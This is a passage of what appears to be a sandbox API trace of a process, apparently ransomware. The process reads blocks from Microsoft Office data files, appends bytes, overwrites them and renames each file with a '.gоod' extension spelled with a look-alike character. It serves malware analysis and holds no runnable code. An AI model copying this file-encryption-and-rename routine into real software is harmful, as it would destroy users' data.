(lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat.gоod")) returned 1 [0166.498] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x59 [0166.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0166.498] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x348cde8 | out: lpFileInformation=0x348cde8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x31ca6)) returned 1 [0166.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0166.498] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x59 [0166.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0166.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0166.499] GetFileType (hFile=0x768) returned 0x1 [0166.499] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0166.499] GetFileType (hFile=0x768) returned 0x1 [0166.499] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0166.499] ReadFile (in: hFile=0x768, lpBuffer=0x348d2d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x348d2d0*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0166.501] CloseHandle (hObject=0x768) returned 1 [0166.501] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x59 [0166.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0166.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0166.501] GetFileType (hFile=0x768) returned 0x1 [0166.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0166.501] GetFileType (hFile=0x768) returned 0x1 [0166.501] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x31ca6 [0166.501] WriteFile (in: hFile=0x768, lpBuffer=0x348e620*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x348e620*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0166.502] CloseHandle (hObject=0x768) returned 1 [0166.502] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x59 [0166.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0166.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0166.502] GetFileType (hFile=0x768) returned 0x1 [0166.502] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0166.502] GetFileType (hFile=0x768) returned 0x1 [0166.503] ReadFile (in: hFile=0x768, lpBuffer=0x3490968, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3490968*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0166.673] CloseHandle (hObject=0x768) returned 1 [0166.673] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x59 [0166.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0166.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0166.673] GetFileType (hFile=0x768) returned 0x1 [0166.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0166.673] GetFileType (hFile=0x768) returned 0x1 [0166.673] WriteFile (in: hFile=0x768, lpBuffer=0x33d4ae0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x33d4ae0*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0166.673] CloseHandle (hObject=0x768) returned 1 [0166.674] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x59 [0166.674] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x5e [0166.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0166.674] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5f8ea587, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x31cb6)) returned 1 [0166.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0166.674] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat.gоod")) returned 1 [0166.675] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x54 [0166.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0166.675] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x34179f8 | out: lpFileInformation=0x34179f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd04b3616, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd04b3616, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd059845b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x59af4)) returned 1 [0166.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0166.675] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x54 [0166.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0166.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0166.675] GetFileType (hFile=0x768) returned 0x1 [0166.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0166.675] GetFileType (hFile=0x768) returned 0x1 [0166.675] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0166.676] ReadFile (in: hFile=0x768, lpBuffer=0x3417ec0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3417ec0*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0166.677] CloseHandle (hObject=0x768) returned 1 [0166.677] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x54 [0166.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0166.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0166.677] GetFileType (hFile=0x768) returned 0x1 [0166.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0166.677] GetFileType (hFile=0x768) returned 0x1 [0166.677] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x59af4 [0166.678] WriteFile (in: hFile=0x768, lpBuffer=0x34191b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x34191b0*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0166.679] CloseHandle (hObject=0x768) returned 1 [0166.682] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x54 [0166.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0166.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0166.683] GetFileType (hFile=0x768) returned 0x1 [0166.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0166.683] GetFileType (hFile=0x768) returned 0x1 [0166.683] ReadFile (in: hFile=0x768, lpBuffer=0x341b4c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x341b4c8*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0167.100] CloseHandle (hObject=0x768) returned 1 [0167.100] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x54 [0167.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0167.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0167.100] GetFileType (hFile=0x768) returned 0x1 [0167.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0167.100] GetFileType (hFile=0x768) returned 0x1 [0167.100] WriteFile (in: hFile=0x768, lpBuffer=0x33e1a90*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x33e1a90*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0167.100] CloseHandle (hObject=0x768) returned 1 [0167.100] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x54 [0167.100] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat.gоod", lpFilePart=0x0) returned 0x59 [0167.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0167.101] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd04b3616, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd04b3616, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5fcf074a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x59b04)) returned 1 [0167.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0167.101] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat.gоod")) returned 1 [0167.101] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x54 [0167.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0167.102] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x3570138 | out: lpFileInformation=0x3570138*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843b7e4f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x405c)) returned 1 [0167.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0167.102] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x54 [0167.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0167.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0167.102] GetFileType (hFile=0x768) returned 0x1 [0167.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0167.102] GetFileType (hFile=0x768) returned 0x1 [0167.102] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0167.102] ReadFile (in: hFile=0x768, lpBuffer=0x3570600, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3570600*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0167.104] CloseHandle (hObject=0x768) returned 1 [0167.104] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x54 [0167.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0167.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0167.104] GetFileType (hFile=0x768) returned 0x1 [0167.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0167.104] GetFileType (hFile=0x768) returned 0x1 [0167.104] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x405c [0167.104] WriteFile (in: hFile=0x768, lpBuffer=0x3573b50*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x3573b50*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0167.105] CloseHandle (hObject=0x768) returned 1 [0167.105] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x54 [0167.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0167.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0167.106] GetFileType (hFile=0x768) returned 0x1 [0167.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0167.106] GetFileType (hFile=0x768) returned 0x1 [0167.106] ReadFile (in: hFile=0x768, lpBuffer=0x3578ac8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3578ac8*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0167.299] CloseHandle (hObject=0x768) returned 1 [0167.299] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x54 [0167.299] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0167.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0167.299] GetFileType (hFile=0x768) returned 0x1 [0167.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0167.299] GetFileType (hFile=0x768) returned 0x1 [0167.299] WriteFile (in: hFile=0x768, lpBuffer=0x33ecb88*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x33ecb88*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0167.300] CloseHandle (hObject=0x768) returned 1 [0167.300] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x54 [0167.300] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x59 [0167.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0167.300] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, 